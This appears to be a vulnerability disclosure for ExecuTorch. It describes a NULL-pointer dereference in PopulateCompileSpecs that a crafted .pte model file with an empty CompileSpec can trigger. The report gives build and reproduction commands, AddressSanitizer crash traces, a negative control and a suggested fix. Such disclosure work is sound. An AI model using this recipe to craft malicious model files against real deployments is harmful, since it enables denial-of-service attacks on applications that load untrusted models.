- ExecuTorch
.pteCompileSpecNULL-pointer dereference (CWE-476) β verified with a real crash
ExecuTorch .pte CompileSpec NULL-pointer dereference (CWE-476) β verified with a real crash
Status: gated, private security research PoC. Access requests reviewed manually. This is a research PoC for the huntr Model File Format Vulnerability program. All testing was performed locally (local files, no network, no live host).
Summary
BackendDelegate::PopulateCompileSpecs() in runtime/executor/method.cpp
(pytorch/executorch) dereferences the FlatBuffers accessors for the
CompileSpec.key and CompileSpec.value fields without checking them for
nullptr. Both fields are declared as optional (non-(required)) in
schema/program.fbs, so a structurally valid .pte file is free to omit
either or both of them for any CompileSpec entry attached to a delegate.
Loading such a file crashes the process with a NULL-pointer dereference
(SEGV) inside Program::load_method() β i.e. simply loading an untrusted
model that names any registered backend is enough; no inference call is
required, and the crash does not depend on which real backend is present.
This was independently verified today by cloning and building the actual,
current upstream pytorch/executorch main branch, generating a minimal
crafted .pte file with an omitted CompileSpec.value, and driving it
through the real, unmodified Program::load() β Program::load_method() β
Method::init() β BackendDelegate::Init() β PopulateCompileSpecs() call
chain under AddressSanitizer. The crash reproduces exactly as predicted.
- Target:
pytorch/executorch - Commit verified against:
a6d812a082df57898b8608f56c867140cc9da32c(main, authored 2026-07-10 β the tip of the repo at verification time, fetched fresh 2026-07-11) - Vulnerable file:
runtime/executor/method.cpp - Vulnerable function:
BackendDelegate::PopulateCompileSpecs() - Crash site:
runtime/executor/method.cpp:185(compile_spec_in_program->value()->size()); the sibling access atmethod.cpp:181(compile_spec_in_program->key()->c_str()) is an equally-unchecked NULL deref for thekey-omitted case. - Schema:
schema/program.fbs,table CompileSpec { key: string; value: [ubyte]; }β neither field carries the(required)attribute. - Reached via the public loader API:
Program::load()+Program::load_method()(the two calls any ExecuTorch embedder makes to load a.ptefile).
Root cause
// runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs()
for (size_t j = 0; j < number_of_compile_specs; j++) {
auto compile_spec_in_program = compile_specs_in_program->Get(j);
compile_specs_list[j].key = compile_spec_in_program->key()->c_str(); // L181
compile_specs_list[j].value = {
/*buffer*/ static_cast<void*>(
const_cast<uint8_t*>(compile_spec_in_program->value()->Data())), // L184
/*nbytes*/ compile_spec_in_program->value()->size(), // L185
};
}
// schema/program.fbs
table CompileSpec {
key: string; // like max_value -- NOT (required)
value: [ubyte]; // like 4, ... -- NOT (required)
}
Because key/value are optional flatbuffer fields, an absent field simply
makes the generated accessor (key() / value()) return nullptr β this is
not a malformed/corrupt flatbuffer, it is well-formed per the schema. Neither
accessor's result is null-checked before being dereferenced (->c_str(),
->Data(), ->size()), so Method::init() SEGVs while initializing any
delegate that carries such a CompileSpec.
PopulateCompileSpecs() runs for every BackendDelegate entry in a
program's ExecutionPlan.delegates, for any backend ID the runtime has
registered (BackendDelegate::Init(), method.cpp), so this is reachable
with any real backend (XNNPACK, CoreML, Vulkan, a custom backend, β¦) as long
as the crafted delegate's id string matches one that's linked into the
runtime.
Why full FlatBuffers verification does not catch this
ExecuTorch supports two load-time verification modes,
Program::Verification::Minimal (default) and
Program::Verification::InternalConsistency (runs the full
flatbuffers::Verifier over the buffer). Both were tested and both
crash identically (see asan_crash_minimal.txt and
asan_crash_internalconsistency.txt) β because an absent optional field
is, by definition, something the FlatBuffers Verifier accepts as valid. This
is a semantic/logic bug (CWE-476, missing null check), not a
verification-bypass or malformed-buffer bug, so "run the verifier" is not a
sufficient fix.
Distinctness
This is a different function, different file region, and different bug
class from other already-reported/already-filed ExecuTorch .pte issues in
this operation's backlog:
- Not the XNNPACK delegate constant-data-size-vs-shape heap-overflow
(
backends/xnnpack/runtime/XNNCompiler.cpp, filed 2026-07-09) β that is an OOB read (CWE-125) in a completely different backend-specific parser. - Not the ExecuTorch
min_verify/Operator.nameOOB read fixed underMinimalverification only β this bug reproduces identically under fullInternalConsistencyverification (see above), so it is not the "skip the Verifier" bug class at all. - Not CVE-2025-30402 (
method_meta.cpp::calculate_nbytesinteger overflow, already fixed upstream) β unrelated function, unrelated file. - Not CVE-2025-54950 (missing argument-count validation in
kernels/prim_ops/*) β unrelated file, unrelated bug shape. - The companion
FlatTensorDataMap/.ptdTensorLayoutnull-deref (extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout(), a structurally analogous "optional flatbuffer field dereferenced without a null check" bug in a different file/table/API) was also confirmed present in this same commit during this research pass, but is reported separately/held back to keep this submission to one crash chain; see "Also observed" below.
Reproduction
1. Build the ExecuTorch core runtime + data loader under ASan
git clone --depth 1 https://github.com/pytorch/executorch.git
cd executorch
git submodule update --init --depth 1 \
third-party/flatbuffers third-party/json third-party/gflags \
third-party/flatcc backends/xnnpack/third-party/FXdiv
cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug \
-DEXECUTORCH_BUILD_XNNPACK=OFF \
-DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
-DEXECUTORCH_BUILD_CPUINFO=OFF \
-DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build --target executorch extension_data_loader -j
2. Build the crafted-.pte generator and emit malicious.pte
g++ -std=c++17 build_pte.cpp -o build_pte \
-Ibuild/schema/include -I. -Ithird-party/flatbuffers/include
./build_pte malicious.pte
build_pte.cpp emits a minimal, valid Program: one ExecutionPlan named
"forward" with one BackendDelegate{id="TESTBACKEND"} carrying one
CompileSpec{} (both key and value omitted).
3. Build and run the loader harness under ASan
g++ -std=c++17 -DC10_USING_CUSTOM_GENERATED_MACROS \
-fsanitize=address -g -O0 -fno-omit-frame-pointer harness.cpp -o harness \
-I. -Iruntime/core/portable_type/c10 -Ibuild/include -Ibuild/schema/include \
-Ithird-party/flatbuffers/include \
build/extension/data_loader/libextension_data_loader.a \
build/libexecutorch.a build/libexecutorch_core.a
./harness malicious.pte
harness.cpp registers a trivial always-available "TESTBACKEND"
BackendInterface (so the delegate-init loop in Method::init() is
actually entered), then calls the real, unmodified
FileDataLoader::from() β Program::load() (default Minimal
verification) β Program::load_method("forward", ...).
harness_verify.cpp is identical except it calls Program::load() with
Program::Verification::InternalConsistency, to prove the crash survives
full flatbuffers verification.
Result (real captured output)
Default (Minimal) verification β asan_crash_minimal.txt
[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1715711==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557d3a175607 bp 0x7fffc2d5dc40 sp 0x7fffc2d5dc30 T0)
==1715711==The signal is caused by a READ memory access.
==1715711==Hint: address points to the zero page.
#0 0x557d3a175607 in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
#1 0x557d3a172e4b in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
#2 0x557d3a17264a in executorch::runtime::BackendDelegate::Init(...)
#3 0x557d3a164b4c in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
#4 0x557d3a163e15 in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
#5 0x557d3a18298a in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
#6 0x557d3a158c8f in main poc/harness.cpp:86
SUMMARY: AddressSanitizer: SEGV .../flatbuffers/vector.h:164 in flatbuffers::Vector<unsigned char, unsigned int>::size() const
==1715711==ABORTING
Full (InternalConsistency) verification β asan_crash_internalconsistency.txt
Identical SEGV, same crash site, same call chain (only the binary's ASLR
addresses/PIDs differ) β proving the flatbuffers Verifier does not, and
structurally cannot, catch this:
==1717177==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ...
#0 ... in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
#1 ... in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
#2 ... in executorch::runtime::BackendDelegate::Init(...)
#3 ... in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
#4 ... in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
#5 ... in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
==1717177==ABORTING
Negative control β negative_control_output.txt (build_pte_benign.cpp / benign.pte)
Same harness, same code path, but CompileSpec{key="max_value", value=[4,0,0,0]} (both fields present, well-formed). PopulateCompileSpecs
now completes without crashing; the process only fails later, for an
unrelated and expected reason (the minimal test program has no Chains):
[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
E 00:00:00.000458 executorch:method.cpp:986] No chains
load_method returned error (no crash): 0x23
EXIT:2
This confirms the SEGV is caused specifically by the omitted CompileSpec
fields, not by any other aspect of the minimal test program or harness.
Impact
Loading an untrusted/downloaded .pte model file that contains a delegate
(any backend ID the host application has registered) with a CompileSpec
missing its key and/or value field crashes the ExecuTorch runtime with a
NULL-pointer-dereference SEGV during model load β before any inference is
run, and regardless of which verification mode the embedding application
selects. This is a straightforward denial-of-service against any process
that loads attacker-supplied or attacker-modified .pte files (the explicit
threat model of the huntr Model File Format program).
Also observed (not the subject of this report)
While verifying this bug, the structurally analogous null-deref in
extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout()
(TensorLayout.sizes/dim_order optional fields dereferenced without a
null check, reached via FlatTensorDataMap::get_tensor_layout()) was
confirmed still present in source at the same commit
(a6d812a082df57898b8608f56c867140cc9da32c) by code inspection, but was
not independently re-verified with a fresh execution/crash capture in
this pass (time/scope), so it is intentionally not claimed as verified here.
Suggested fix
In PopulateCompileSpecs(), check compile_spec_in_program->key() != nullptr and compile_spec_in_program->value() != nullptr before
dereferencing (treat an absent key as an empty string and an absent
value as a zero-length buffer, or reject the program with
Error::InvalidProgram), matching the null-safety already applied to most
other optional-field accesses elsewhere in method.cpp.
Files
build_pte.cppβ generatesmalicious.pte(the crash-triggering file) using the real, unmodified flatc-generatedprogram_generated.h.malicious.pteβ the crafted model file (272 bytes). OneBackendDelegate(id="TESTBACKEND"), oneCompileSpecwith neitherkeynorvalue.build_pte_benign.cpp/benign.pteβ negative control (well-formedCompileSpec).harness.cppβ loads a.ptevia the real runtime under default (Minimal) verification, drivingProgram::loadβProgram::load_methodβMethod::initβBackendDelegate::InitβPopulateCompileSpecs. Registers a minimal no-op available backend"TESTBACKEND"so the delegate-init loop is entered.harness_verify.cppβ identical, but loads withProgram::Verification::InternalConsistency(full flatbuffersVerifier). Proves the crash still occurs under full verification.asan_crash_minimal.txtβ captured ASan SEGV output (Minimalverification, real run ofharness.cpp).asan_crash_internalconsistency.txtβ captured ASan SEGV output (InternalConsistencyverification, real run ofharness_verify.cpp).negative_control_output.txtβ captured output ofharness.cppagainstbenign.pte, showing no crash.
Source availability
100% open source. github.com/pytorch/executorch (BSD-3-Clause).
Vulnerable function: runtime/executor/method.cpp,
BackendDelegate::PopulateCompileSpecs.
- Downloads last month
- 2